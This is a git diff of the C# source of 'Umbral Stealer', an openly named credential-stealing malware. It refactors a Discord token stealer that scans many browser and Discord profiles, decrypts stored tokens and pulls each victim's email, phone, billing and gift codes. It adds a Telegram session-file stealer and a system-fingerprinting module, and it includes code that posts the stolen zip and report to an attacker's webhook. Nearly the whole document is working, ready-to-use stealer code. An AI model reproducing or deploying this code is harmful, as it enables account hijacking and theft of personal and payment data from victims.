- { - content = await reader.ReadToEndAsync(); - } - } - - if (!string.IsNullOrWhiteSpace(content)) - { - MatchCollection matches = regex.Matches(content); - foreach (Match match in matches) - { - string token = match.Value; - if (token.EndsWith("\\")) token = token.Take(token.Length - 1).ToString(); - - byte[] buffer = Convert.FromBase64String(token.Split(new[] { "dQw4w9WgXcQ:" }, - StringSplitOptions.None)[1]); - - token = DecryptTokenMethodB(buffer, key); - - if (!obtainedTokens.Contains(token) && !string.IsNullOrWhiteSpace(token)) - { - processes.Add(AddAccount(token)); - obtainedTokens.Add(token); - } - } - } - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - - await Task.WhenAll(processes); - } - - static private async Task FireFoxMethod(string path) - { - var processes = new List(); - var obtainedTokens = new List(); - Regex regex = new Regex(@"[\w-]{24,26}\.[\w-]{6}\.[\w-]{25,110}", RegexOptions.Compiled); - - string[] files = await Task.Run(() => Directory.GetFiles(path, "*.sqlite", SearchOption.AllDirectories)); - - foreach (string file in files) - try - { - string content; - - using (FileStream fs = new FileStream(file, FileMode.Open, FileAccess.Read, - FileShare.ReadWrite)) - { - using (StreamReader reader = new StreamReader(fs)) - { - content = await reader.ReadToEndAsync(); - } - } - - if (!string.IsNullOrWhiteSpace(content)) - { - MatchCollection matches = regex.Matches(content); - - foreach (Match match in matches) - { - string token = match.Value; - if (!obtainedTokens.Contains(token) && !string.IsNullOrWhiteSpace(token)) - { - processes.Add(AddAccount(token)); - obtainedTokens.Add(token); - } - } - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - - await Task.WhenAll(processes); - } - - static private string DecryptTokenMethodB(byte[] buffer, byte[] protectedKey) - { - try - { - byte[] cipherText = buffer.Skip(15).ToArray(); - byte[] key = ProtectedData.Unprotect(protectedKey, null, DataProtectionScope.CurrentUser); - byte[] iv = buffer.Skip(3).Take(12).ToArray(); - - byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); - - cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); - - byte[] token = new AesGcm().Decrypt(key, iv, null, cipherText, tag); - return Encoding.UTF8.GetString(token); - } - catch (Exception e) - { - Console.WriteLine(e); - - return string.Empty; - } - } - - static private async Task GetBilling(string token) - { - var billingMethods = new List(); - - using (HttpRequestMessage request = new HttpRequestMessage(HttpMethod.Get, - "https://discordapp.com/api/v9/users/@me/billing/payment-sources")) - { - request.Headers.Authorization = AuthenticationHeaderValue.Parse(token); - - try - { - HttpResponseMessage response = await Client.SendAsync(request); - - if (response.IsSuccessStatusCode) - { - string content = await response.Content.ReadAsStringAsync(); - - var billingResponseJson = - SimpleJson.DeserializeObject>(content); - - foreach (dynamic obj in billingResponseJson) - { - - BillingResponseJsonFormat block = new BillingResponseJsonFormat - { - type = (int)obj["type"] - }; - - if (!new Dictionary - { - { 0, "(Unknown)" }, - { 1, "Card" } - }.TryGetValue(block.type, out string billingType)) - billingType = "Paypal"; - - billingMethods.Add(billingType); - } - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return billingMethods.ToArray(); - } - - static private async Task GetGifts(string token) - { - var gifts = new List(); - - using (HttpRequestMessage request = new HttpRequestMessage(HttpMethod.Get, - "https://discord.com/api/v10/users/@me/outbound-promotions/codes")) - { - request.Headers.Authorization = AuthenticationHeaderValue.Parse(token); - - try - { - HttpResponseMessage response = await Client.SendAsync(request); - - string content = await response.Content.ReadAsStringAsync(); - - if (content.Contains("code")) - { - dynamic giftResponseJson = - SimpleJson.DeserializeObject>(content); - - foreach (dynamic obj in giftResponseJson) - { - GiftResponseJsonFormat gift = new GiftResponseJsonFormat - { - code = (string)obj["code"], - promotion = new Promotion - { - outbound_title = (string)obj["promotion"]["outbound_title"] - } - }; - - string code = gift.code; - string title = gift.promotion.outbound_title; - - if (!string.IsNullOrWhiteSpace(code) && - !string.IsNullOrWhiteSpace(title)) - gifts.Add(new GiftFormat(title, code)); - } - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return gifts.ToArray(); - } - - static private async Task AddAccount(string token) - { - using (HttpRequestMessage request = - new HttpRequestMessage(HttpMethod.Get, "https://discord.com/api/v10/users/@me")) - { - request.Headers.Authorization = AuthenticationHeaderValue.Parse(token); - - try - { - HttpResponseMessage response = await Client.SendAsync(request); - - if (response.IsSuccessStatusCode) - { - string content = await response.Content.ReadAsStringAsync(); - - dynamic jsonContent = SimpleJson.DeserializeObject(content); - - - TokenResponseJsonFormat tokenResponseJson = new TokenResponseJsonFormat - { - premium_type = (int)jsonContent["premium_type"], - username = (string)jsonContent["username"], - discriminator = (string)jsonContent["discriminator"], - id = (string)jsonContent["id"], - mfa_enabled = (bool)jsonContent["mfa_enabled"], - email = (string)jsonContent["email"], - phone = (string)jsonContent["phone"], - verified = (bool)jsonContent["verified"] - }; - - if (!new Dictionary - { - { 0, "No Nitro" }, - { 1, "Nitro Classic" }, - { 2, "Nitro" }, - { 3, "Nitro Basic" } - }.TryGetValue(tokenResponseJson.premium_type, out string nitroType) - ) - nitroType = "(Unknown)"; - - string[] billing = await GetBilling(token); - var gifts = await GetGifts(token); - - _accounts.Add(new DiscordAccountFormat( - $"{tokenResponseJson.username}#{tokenResponseJson.discriminator}", tokenResponseJson.id, - tokenResponseJson.mfa_enabled, tokenResponseJson.email, tokenResponseJson.phone, - tokenResponseJson.verified, nitroType, billing, token, gifts)); - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - } - - static private void RemoveDuplicates() - { - _accounts = _accounts - .GroupBy(t => t.Token) - .Select(t => t.First()) - .ToList(); - } - } -} \ No newline at end of file +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Net.Http.Headers; +using System.Net.Http; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using Umbral.payload.Components.Algorithms; +using System.Security.Cryptography; + +namespace Umbral.payload.Components.Messenger.Discord +{ + internal class TokenStealer + { + static private readonly string RoamingPath; + + static private readonly string LocalAppDataPath; + + static private readonly HttpClient Client; + + static private List _accounts; + + static TokenStealer() + { + RoamingPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + + LocalAppDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); + + Client = new HttpClient(); + Client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json")); + Client.DefaultRequestHeaders.UserAgent.ParseAdd( + "Opera/9.80 (Windows NT 6.1; YB/4.0.0) Presto/2.12.388 Version/12.17"); + + + _accounts = new List(); + } + + internal static async Task GetAccounts() + { + await Run(); + return _accounts.ToArray(); + } + + static private async Task Run() + { + _accounts.Clear(); + var processes = new List(); + + var paths = new Dictionary + { + { "Discord", Path.Combine(RoamingPath, "discord") }, + { "Discord Canary", Path.Combine(RoamingPath, "discordcanary") }, + { "Lightcord", Path.Combine(RoamingPath, "Lightcord") }, + { "Discord PTB", Path.Combine(RoamingPath, "discordptb") }, + { "Opera", Path.Combine(RoamingPath, "Opera Software", "Opera Stable") }, + { "Opera GX", Path.Combine(RoamingPath, "Opera Software", "Opera GX Stable") }, + { "Amigo", Path.Combine(LocalAppDataPath, "Amigo", "User Data") }, + { "Torch", Path.Combine(LocalAppDataPath, "Torch", "User Data") }, + { "Kometa", Path.Combine(LocalAppDataPath, "Kometa", "User Data") }, + { "Orbitum", Path.Combine(LocalAppDataPath, "Orbitum", "User Data") }, + { "CentBrowse", Path.Combine(LocalAppDataPath, "CentBrowser", "User Data") }, + { "7Sta", Path.Combine(LocalAppDataPath, "7Star", "7Star", "User Data") }, + { "Sputnik", Path.Combine(LocalAppDataPath, "Sputnik", "Sputnik", "User Data") }, + { "Vivaldi", Path.Combine(LocalAppDataPath, "Vivaldi", "User Data") }, + { "Chrome SxS", Path.Combine(LocalAppDataPath, "Google", "Chrome SxS", "User Data") }, + { "Chrome", Path.Combine(LocalAppDataPath, "Google", "Chrome", "User Data") }, + { "FireFox", Path.Combine(RoamingPath, "Mozilla", "Firefox", "Profiles") }, + { "Epic Privacy Browse", Path.Combine(LocalAppDataPath, "Epic Privacy Browser", "User Data") }, + { "Microsoft Edge", Path.Combine(LocalAppDataPath, "Microsoft", "Edge", "User Data") }, + { "Uran", Path.Combine(LocalAppDataPath, "uCozMedia", "Uran", "User Data") }, + { "Yandex", Path.Combine(LocalAppDataPath, "Yandex", "YandexBrowser", "User Data") }, + { "Brave", Path.Combine(LocalAppDataPath, "BraveSoftware", "Brave-Browser", "User Data") }, + { "Iridium", Path.Combine(LocalAppDataPath, "Iridium", "User Data") } + }; + + foreach (var item in paths) + if (Directory.Exists(item.Value)) + switch (item.Key) + { + case "Firefox": + processes.Add(FireFoxMethod(item.Value)); + break; + default: + processes.Add(MethodA(item.Value)); + processes.Add(MethodB(item.Value)); + break; + } + + await Task.WhenAll(processes); + RemoveDuplicates(); + } + + static private async Task MethodA(string path) + { + string[] allowedExtentions = { ".log", ".ldb" }; + Regex regex = new Regex(@"[\w-]{24,26}\.[\w-]{6}\.[\w-]{25,110}", RegexOptions.Compiled); + + var processes = new List(); + var obtainedTokens = new List(); + + string[] leveldbDirs = await Task.Run(() => + Directory.GetDirectories(path, "leveldb", SearchOption.AllDirectories)); + + foreach (string dir in leveldbDirs) + { + string[] files = Directory.GetFiles(dir, "*", SearchOption.TopDirectoryOnly) + .Where(file => allowedExtentions.Contains(Path.GetExtension(file))) + .ToArray(); + + foreach (string file in files) + try + { + string content; + + using (FileStream fs = new FileStream(file, FileMode.Open, FileAccess.Read, + FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader(fs)) + { + content = await reader.ReadToEndAsync(); + } + } + + if (!string.IsNullOrWhiteSpace(content)) + { + MatchCollection matches = regex.Matches(content); + + foreach (Match match in matches) + { + string token = match.Value; + + if (!obtainedTokens.Contains(token)) + { + processes.Add(AddAccount(token)); + obtainedTokens.Add(token); + } + } + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + await Task.WhenAll(processes); + } + + static private async Task MethodB(string path) + { + string[] allowedExtentions = { ".log", ".ldb" }; + Regex regex = new Regex(@"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^""]*", RegexOptions.Compiled); + + var processes = new List(); + var obtainedTokens = new List(); + + string localStatePath = Path.Combine(path, "Local State"); + string levelDbPath = Path.Combine(path, "Local Storage", "leveldb"); + + if (File.Exists(localStatePath) && Directory.Exists(levelDbPath)) + try + { + string content; + + using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, + FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader(fs)) + { + content = await reader.ReadToEndAsync(); + } + } + + dynamic jsonContent = SimpleJson.DeserializeObject(content); + + byte[] key = Convert.FromBase64String((string)jsonContent["os_crypt"]["encrypted_key"]).Skip(5).ToArray(); + + string[] files = await Task.Run(() => Directory.GetFiles(levelDbPath, "*", SearchOption.TopDirectoryOnly) + .Where(file => allowedExtentions.Contains(Path.GetExtension(file))) + .ToArray() + ); + + foreach (string file in files) + { + using (FileStream fs = new FileStream(file, FileMode.Open, FileAccess.Read, + FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader(fs)) + { + content = await reader.ReadToEndAsync(); + } + } + + if (!string.IsNullOrWhiteSpace(content)) + { + MatchCollection matches = regex.Matches(content); + foreach (Match match in matches) + { + string token = match.Value; + if (token.EndsWith("\\")) token = token.Take(token.Length - 1).ToString(); + + byte[] buffer = Convert.FromBase64String(token.Split(new[] { "dQw4w9WgXcQ:" }, + StringSplitOptions.None)[1]); + + token = DecryptTokenMethodB(buffer, key); + + if (!obtainedTokens.Contains(token) && !string.IsNullOrWhiteSpace(token)) + { + processes.Add(AddAccount(token)); + obtainedTokens.Add(token); + } + } + } + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + + await Task.WhenAll(processes); + } + + static private async Task FireFoxMethod(string path) + { + var processes = new List(); + var obtainedTokens = new List(); + Regex regex = new Regex(@"[\w-]{24,26}\.[\w-]{6}\.[\w-]{25,110}", RegexOptions.Compiled); + + string[] files = await Task.Run(() => Directory.GetFiles(path, "*.sqlite", SearchOption.AllDirectories)); + + foreach (string file in files) + try + { + string content; + + using (FileStream fs = new FileStream(file, FileMode.Open, FileAccess.Read, + FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader(fs)) + { + content = await reader.ReadToEndAsync(); + } + } + + if (!string.IsNullOrWhiteSpace(content)) + { + MatchCollection matches = regex.Matches(content); + + foreach (Match match in matches) + { + string token = match.Value; + if (!obtainedTokens.Contains(token) && !string.IsNullOrWhiteSpace(token)) + { + processes.Add(AddAccount(token)); + obtainedTokens.Add(token); + } + } + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + + await Task.WhenAll(processes); + } + + static private string DecryptTokenMethodB(byte[] buffer, byte[] protectedKey) + { + try + { + byte[] cipherText = buffer.Skip(15).ToArray(); + byte[] key = ProtectedData.Unprotect(protectedKey, null, DataProtectionScope.CurrentUser); + byte[] iv = buffer.Skip(3).Take(12).ToArray(); + + byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); + + cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); + + byte[] token = new AesGcm().Decrypt(key, iv, null, cipherText, tag); + return Encoding.UTF8.GetString(token); + } + catch (Exception e) + { + Console.WriteLine(e); + + return string.Empty; + } + } + + static private async Task GetBilling(string token) + { + var billingMethods = new List(); + + using (HttpRequestMessage request = new HttpRequestMessage(HttpMethod.Get, + "https://discordapp.com/api/v9/users/@me/billing/payment-sources")) + { + request.Headers.Authorization = AuthenticationHeaderValue.Parse(token); + + try + { + HttpResponseMessage response = await Client.SendAsync(request); + + if (response.IsSuccessStatusCode) + { + string content = await response.Content.ReadAsStringAsync(); + + var billingResponseJson = + SimpleJson.DeserializeObject>(content); + + foreach (dynamic obj in billingResponseJson) + { + + BillingResponseJsonFormat block = new BillingResponseJsonFormat + { + type = (int)obj["type"] + }; + + if (!new Dictionary + { + { 0, "(Unknown)" }, + { 1, "Card" } + }.TryGetValue(block.type, out string billingType)) + billingType = "Paypal"; + + billingMethods.Add(billingType); + } + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return billingMethods.ToArray(); + } + + static private async Task GetGifts(string token) + { + var gifts = new List(); + + using (HttpRequestMessage request = new HttpRequestMessage(HttpMethod.Get, + "https://discord.com/api/v10/users/@me/outbound-promotions/codes")) + { + request.Headers.Authorization = AuthenticationHeaderValue.Parse(token); + + try + { + HttpResponseMessage response = await Client.SendAsync(request); + + string content = await response.Content.ReadAsStringAsync(); + + if (content.Contains("code")) + { + dynamic giftResponseJson = + SimpleJson.DeserializeObject>(content); + + foreach (dynamic obj in giftResponseJson) + { + GiftResponseJsonFormat gift = new GiftResponseJsonFormat + { + code = (string)obj["code"], + promotion = new Promotion + { + outbound_title = (string)obj["promotion"]["outbound_title"] + } + }; + + string code = gift.code; + string title = gift.promotion.outbound_title; + + if (!string.IsNullOrWhiteSpace(code) && + !string.IsNullOrWhiteSpace(title)) + gifts.Add(new GiftFormat(title, code)); + } + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return gifts.ToArray(); + } + + static private async Task AddAccount(string token) + { + using (HttpRequestMessage request = + new HttpRequestMessage(HttpMethod.Get, "https://discord.com/api/v10/users/@me")) + { + request.Headers.Authorization = AuthenticationHeaderValue.Parse(token); + + try + { + HttpResponseMessage response = await Client.SendAsync(request); + + if (response.IsSuccessStatusCode) + { + string content = await response.Content.ReadAsStringAsync(); + + dynamic jsonContent = SimpleJson.DeserializeObject(content); + + + TokenResponseJsonFormat tokenResponseJson = new TokenResponseJsonFormat + { + premium_type = (int)jsonContent["premium_type"], + username = (string)jsonContent["username"], + discriminator = (string)jsonContent["discriminator"], + id = (string)jsonContent["id"], + mfa_enabled = (bool)jsonContent["mfa_enabled"], + email = string.IsNullOrWhiteSpace((string)jsonContent["email"]) ? "(Not Found)" : (string)jsonContent["email"], + phone = string.IsNullOrWhiteSpace((string)jsonContent["phone"]) ? "(Not Found)" : (string)jsonContent["phone"], + verified = (bool)jsonContent["verified"] + }; + + if (!new Dictionary + { + { 0, "No Nitro" }, + { 1, "Nitro Classic" }, + { 2, "Nitro" }, + { 3, "Nitro Basic" } + }.TryGetValue(tokenResponseJson.premium_type, out string nitroType) + ) + nitroType = "(Unknown)"; + + string[] billing = await GetBilling(token); + var gifts = await GetGifts(token); + + _accounts.Add(new DiscordAccountFormat( + $"{tokenResponseJson.username}#{tokenResponseJson.discriminator}", tokenResponseJson.id, + tokenResponseJson.mfa_enabled, tokenResponseJson.email, tokenResponseJson.phone, + tokenResponseJson.verified, nitroType, billing, token, gifts)); + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + } + + static private void RemoveDuplicates() + { + _accounts = _accounts + .GroupBy(t => t.Token) + .Select(t => t.First()) + .ToList(); + } + } +} diff --git a/Umbral.payload/Components/Messenger/Telegram/SessionStealer.cs b/Umbral.payload/Components/Messenger/Telegram/SessionStealer.cs new file mode 100644 index 0000000..f26d3ba --- /dev/null +++ b/Umbral.payload/Components/Messenger/Telegram/SessionStealer.cs @@ -0,0 +1,87 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms.VisualStyles; +using Umbral.payload.Components.Utilities; + +namespace Umbral.payload.Components.Messenger.Telegram +{ + internal static class SessionStealer + { + internal static async Task StealSessions(string dst) + { + int count = 0; + var loginPaths = new List(); + string[] files; + string[] dirs; + var has_key_datas = false; + + var telegramPath = Path.Combine(Environment.GetEnvironmentVariable("appdata"), "Telegram Desktop"); + + if (Directory.Exists(telegramPath)) + { + var tDataPath = Path.Combine(telegramPath, "tdata"); + if (Directory.Exists(tDataPath)) + { + files = Directory.GetFiles(tDataPath); + dirs = Directory.GetDirectories(tDataPath); + + var keyDatasPath = Path.Combine(tDataPath, "key_datas"); + if (files.Contains(keyDatasPath)) + { + has_key_datas = true; + loginPaths.Add(keyDatasPath); + } + + foreach (var file in files) + { + foreach (var dir in dirs) + { + if (Path.GetFileName(file) == Path.GetFileName(dir) + "s") + { + loginPaths.AddRange(new[] { file, dir }); + } + } + } + } + } + + if (has_key_datas && loginPaths.Count - 1 > 0) + { + DirectoryInfo outDir = null; + try + { + outDir = Directory.CreateDirectory(dst); + foreach (var item in loginPaths) + { + if (File.Exists(item)) + { + File.Copy(item, Path.Combine(dst, Path.GetFileName(item))); + } + else if (Directory.Exists(item)) + { + Common.CopyTree(item, Path.Combine(dst, Path.GetFileName(item))); + } + } + count = (loginPaths.Count - 1) / 2; + } + catch (Exception ex) + { + try + { + outDir?.Delete(true); + } + catch { } + + Console.WriteLine(ex); + } + } + return count; + } + } +} diff --git a/Umbral.payload/Postman/PayloadGen.cs b/Umbral.payload/Components/Postman/PayloadGen.cs similarity index 95% rename from Umbral.payload/Postman/PayloadGen.cs rename to Umbral.payload/Components/Postman/PayloadGen.cs index 3a22ca2..9c07d3c 100644 --- a/Umbral.payload/Postman/PayloadGen.cs +++ b/Umbral.payload/Components/Postman/PayloadGen.cs @@ -1,113 +1,112 @@ -using System; -using System.Collections.Generic; -using System.Threading.Tasks; -using Umbral.payload.Config; -using Umbral.payload.SystemInfo; - -namespace Umbral.payload.Postman -{ - public struct PayloadFormat - { - public string content { get; set; } - - public EmbedStructureFormat[] embeds { get; set; } - } - - public struct EmbedStructureFormat - { - public string title { get; set; } - - public string description { get; set; } - - public string url { get; set; } - - public int color { get; set; } - - public FooterFormat footer { get; set; } - - public ThumbnailFormat thumbnail { get; set; } - } - - public struct FooterFormat - { - public string text { get; set; } - } - - public struct ThumbnailFormat - { - public string url { get; set; } - } - - internal class PayloadGen - { - private readonly Dictionary _grabbedDataDict; - - internal PayloadGen(Dictionary grabbedDataDict) - { - _grabbedDataDict = grabbedDataDict; - } - - internal async Task GetPayload() - { - IpFormat ipinfo = await IpInfo.GetInfo(); - GeneralSystemInfo systemInfo = await General.GetInfo(); - - PayloadFormat payload = new PayloadFormat(); - - payload.content = Settings.Ping ? "@everyone" : string.Empty; - - char cellular = ipinfo.Mobile ? Convert.ToChar(9989) : Convert.ToChar(10062); - char proxy = ipinfo.Proxy ? Convert.ToChar(9989) : Convert.ToChar(10062); - string reverseProxy = proxy == Convert.ToChar(9989) ? $"\nReverse DNS: {ipinfo.Reverse}" : string.Empty; - string grabbedInfo = string.Empty; - foreach (var item in _grabbedDataDict) grabbedInfo += $"\n{item.Key} : {item.Value}"; - - payload.embeds = new[] - { - new EmbedStructureFormat - { - title = "Umbral Stealer", - description = $@" -**__System Info__** -```autohotkey -Computer Name: {systemInfo.ComputerName} -Computer OS: {systemInfo.ComputerOs} -Total Memory: {systemInfo.TotalMemory} -UUID: {systemInfo.Uuid} -CPU: {systemInfo.Cpu} -GPU: {systemInfo.Gpu} -``` - -**__IP Info__** -```prolog -IP: {ipinfo.Query} -Region: {ipinfo.RegionName} -Country: {ipinfo.Country} -Timezone: {ipinfo.Timezone} - -Cellular Data: {cellular} -Proxy/VPN: {proxy} -{reverseProxy} -``` - -**__Grabbed Data__** -```js{grabbedInfo} -``` -".Trim(), - url = "https://github.com/Blank-c/Umbral-Stealer", - color = 34303, - footer = new FooterFormat - { - text = $"Umbral Stealer {Settings.Version} | https://github.com/Blank-c/Umbral-Stealer" - }, - thumbnail = new ThumbnailFormat - { - url = "https://github.com/Blank-c/Umbral-Stealer" - } - } - }; - - return SimpleJson.SerializeObject(payload); - } - } +using System; +using System.Collections.Generic; +using System.Threading.Tasks; +using Umbral.payload.SystemInfo; + +namespace Umbral.payload.Postman +{ + public struct PayloadFormat + { + public string content { get; set; } + + public EmbedStructureFormat[] embeds { get; set; } + } + + public struct EmbedStructureFormat + { + public string title { get; set; } + + public string description { get; set; } + + public string url { get; set; } + + public int color { get; set; } + + public FooterFormat footer { get; set; } + + public ThumbnailFormat thumbnail { get; set; } + } + + public struct FooterFormat + { + public string text { get; set; } + } + + public struct ThumbnailFormat + { + public string url { get; set; } + } + + internal class PayloadGen + { + private readonly Dictionary _grabbedDataDict; + + internal PayloadGen(Dictionary grabbedDataDict) + { + _grabbedDataDict = grabbedDataDict; + } + + internal async Task GetPayload() + { + IpFormat ipinfo = await IpInfo.GetInfo(); + GeneralSystemInfo systemInfo = await General.GetInfo(); + + PayloadFormat payload = new PayloadFormat(); + + payload.content = Settings.Ping ? "@everyone" : string.Empty; + + char cellular = ipinfo.Mobile ? Convert.ToChar(9989) : Convert.ToChar(10062); + char proxy = ipinfo.Proxy ? Convert.ToChar(9989) : Convert.ToChar(10062); + string reverseProxy = proxy == Convert.ToChar(9989) ? $"\nReverse DNS: {ipinfo.Reverse}" : string.Empty; + string grabbedInfo = string.Empty; + foreach (var item in _grabbedDataDict) grabbedInfo += $"\n{item.Key} : {item.Value}"; + + payload.embeds = new[] + { + new EmbedStructureFormat + { + title = "Umbral Stealer", + description = $@" +**__System Info__** +```autohotkey +Computer Name: {systemInfo.ComputerName} +Computer OS: {systemInfo.ComputerOs} +Total Memory: {systemInfo.TotalMemory} +UUID: {systemInfo.Uuid} +CPU: {systemInfo.Cpu} +GPU: {systemInfo.Gpu} +``` + +**__IP Info__** +```prolog +IP: {ipinfo.Query} +Region: {ipinfo.RegionName} +Country: {ipinfo.Country} +Timezone: {ipinfo.Timezone} + +Cellular Data: {cellular} +Proxy/VPN: {proxy} +{reverseProxy} +``` + +**__Grabbed Data__** +```js{grabbedInfo} +``` +".Trim(), + url = "https://github.com/Blank-c/Umbral-Stealer", + color = 34303, + footer = new FooterFormat + { + text = $"Umbral Stealer {Settings.Version} | https://github.com/Blank-c/Umbral-Stealer" + }, + thumbnail = new ThumbnailFormat + { + url = "https://github.com/Blank-c/Umbral-Stealer" + } + } + }; + + return SimpleJson.SerializeObject(payload); + } + } } \ No newline at end of file diff --git a/Umbral.payload/Postman/Sender.cs b/Umbral.payload/Components/Postman/Sender.cs similarity index 87% rename from Umbral.payload/Postman/Sender.cs rename to Umbral.payload/Components/Postman/Sender.cs index adc2aaf..eea598a 100644 --- a/Umbral.payload/Postman/Sender.cs +++ b/Umbral.payload/Components/Postman/Sender.cs @@ -1,47 +1,46 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Net.Http; -using System.Net.Http.Headers; -using System.Text; -using System.Threading.Tasks; -using Umbral.payload.Config; - -namespace Umbral.payload.Postman -{ - internal static class Sender - { - internal static async Task Post(string zipPath, Dictionary grabbedInfoDictionary) - { - PayloadGen payloadGen = new PayloadGen(grabbedInfoDictionary); - string payload = await payloadGen.GetPayload(); - - try - { - using (HttpClient client = new HttpClient()) - { - client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json")); - client.DefaultRequestHeaders.UserAgent.ParseAdd( - "Opera/9.80 (Windows NT 6.1; YB/4.0.0) Presto/2.12.388 Version/12.17"); - - using (MultipartFormDataContent form = new MultipartFormDataContent()) - { - byte[] fileBytes = File.ReadAllBytes(zipPath); - ByteArrayContent fileContent = new ByteArrayContent(fileBytes); - fileContent.Headers.ContentType = MediaTypeHeaderValue.Parse("application/zip"); - form.Add(fileContent, "file", $"Umbral-{Environment.MachineName}.zip"); - - StringContent jsonContent = new StringContent(payload, Encoding.UTF8, "application/json"); - await client.PostAsync(Settings.WebhookUrl, jsonContent); - - await client.PostAsync(Settings.WebhookUrl, form); - } - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - } +using System; +using System.Collections.Generic; +using System.IO; +using System.Net.Http; +using System.Net.Http.Headers; +using System.Text; +using System.Threading.Tasks; + +namespace Umbral.payload.Postman +{ + internal static class Sender + { + internal static async Task Post(string zipPath, Dictionary grabbedInfoDictionary) + { + PayloadGen payloadGen = new PayloadGen(grabbedInfoDictionary); + string payload = await payloadGen.GetPayload(); + + try + { + using (HttpClient client = new HttpClient()) + { + client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json")); + client.DefaultRequestHeaders.UserAgent.ParseAdd( + "Opera/9.80 (Windows NT 6.1; YB/4.0.0) Presto/2.12.388 Version/12.17"); + + using (MultipartFormDataContent form = new MultipartFormDataContent()) + { + byte[] fileBytes = File.ReadAllBytes(zipPath); + ByteArrayContent fileContent = new ByteArrayContent(fileBytes); + fileContent.Headers.ContentType = MediaTypeHeaderValue.Parse("application/zip"); + form.Add(fileContent, "file", $"Umbral-{Environment.MachineName}.zip"); + + StringContent jsonContent = new StringContent(payload, Encoding.UTF8, "application/json"); + await client.PostAsync(Settings.Webhook, jsonContent); + + await client.PostAsync(Settings.Webhook, form); + } + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + } } \ No newline at end of file diff --git a/Umbral.payload/SystemInfo/General.cs b/Umbral.payload/Components/SystemInfo/General.cs similarity index 97% rename from Umbral.payload/SystemInfo/General.cs rename to Umbral.payload/Components/SystemInfo/General.cs index 001921d..b3a9be2 100644 --- a/Umbral.payload/SystemInfo/General.cs +++ b/Umbral.payload/Components/SystemInfo/General.cs @@ -1,116 +1,116 @@ -using System; -using System.Diagnostics; -using System.Threading.Tasks; - -namespace Umbral.payload.SystemInfo -{ - internal struct GeneralSystemInfo - { - internal string ComputerName; - - internal string ComputerOs; - - internal string TotalMemory; - - internal string Gpu; - - internal string Cpu; - - internal string Uuid; - } - - internal class General - { - internal static async Task GetInfo() - { - string computerName = Environment.MachineName; - string computerOs; - string totalMemory; - string uuid; - string gpu; - string cpu; - - using (Process process = new Process()) - { - process.StartInfo.FileName = "wmic.exe"; - process.StartInfo.Arguments = "os get Caption"; - process.StartInfo.CreateNoWindow = true; - process.StartInfo.UseShellExecute = false; - process.StartInfo.RedirectStandardOutput = true; - process.Start(); - process.WaitForExit(); - - computerOs = await process.StandardOutput.ReadToEndAsync(); - computerOs = computerOs.Split('\n')[1].Trim(); - } - - using (Process process = new Process()) - { - process.StartInfo.FileName = "wmic.exe"; - process.StartInfo.Arguments = "computersystem get totalphysicalmemory"; - process.StartInfo.CreateNoWindow = true; - process.StartInfo.UseShellExecute = false; - process.StartInfo.RedirectStandardOutput = true; - process.Start(); - process.WaitForExit(); - - totalMemory = await process.StandardOutput.ReadToEndAsync(); - totalMemory = totalMemory.Split('\n')[1].Trim(); - totalMemory = Math.Round(Convert.ToInt64(totalMemory) / 1e-9).ToString().Split('.')[0] + " GB"; - } - - using (Process process = new Process()) - { - process.StartInfo.FileName = "wmic.exe"; - process.StartInfo.Arguments = "csproduct get uuid"; - process.StartInfo.CreateNoWindow = true; - process.StartInfo.UseShellExecute = false; - process.StartInfo.RedirectStandardOutput = true; - process.Start(); - process.WaitForExit(); - - uuid = await process.StandardOutput.ReadToEndAsync(); - uuid = uuid.Split('\n')[1].Trim(); - } - - using (Process process = new Process()) - { - process.StartInfo.FileName = "powershell.exe"; - process.StartInfo.Arguments = - "Get-ItemPropertyValue -Path 'HKLM:System\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name PROCESSOR_IDENTIFIER"; - process.StartInfo.CreateNoWindow = true; - process.StartInfo.UseShellExecute = false; - process.StartInfo.RedirectStandardOutput = true; - process.Start(); - process.WaitForExit(); - - cpu = await process.StandardOutput.ReadToEndAsync(); - cpu = cpu.Trim(); - } - - using (Process process = new Process()) - { - process.StartInfo.FileName = "wmic"; - process.StartInfo.Arguments = "path win32_VideoController get name"; - process.StartInfo.CreateNoWindow = true; - process.StartInfo.UseShellExecute = false; - process.StartInfo.RedirectStandardOutput = true; - process.Start(); - process.WaitForExit(); - - gpu = await process.StandardOutput.ReadToEndAsync(); - gpu = gpu.Split('\n')[1].Trim(); - } - - return new GeneralSystemInfo - { - ComputerName = computerName, - ComputerOs = computerOs, - TotalMemory = totalMemory, - Uuid = uuid, - Cpu = cpu, - Gpu = gpu - }; - } - } 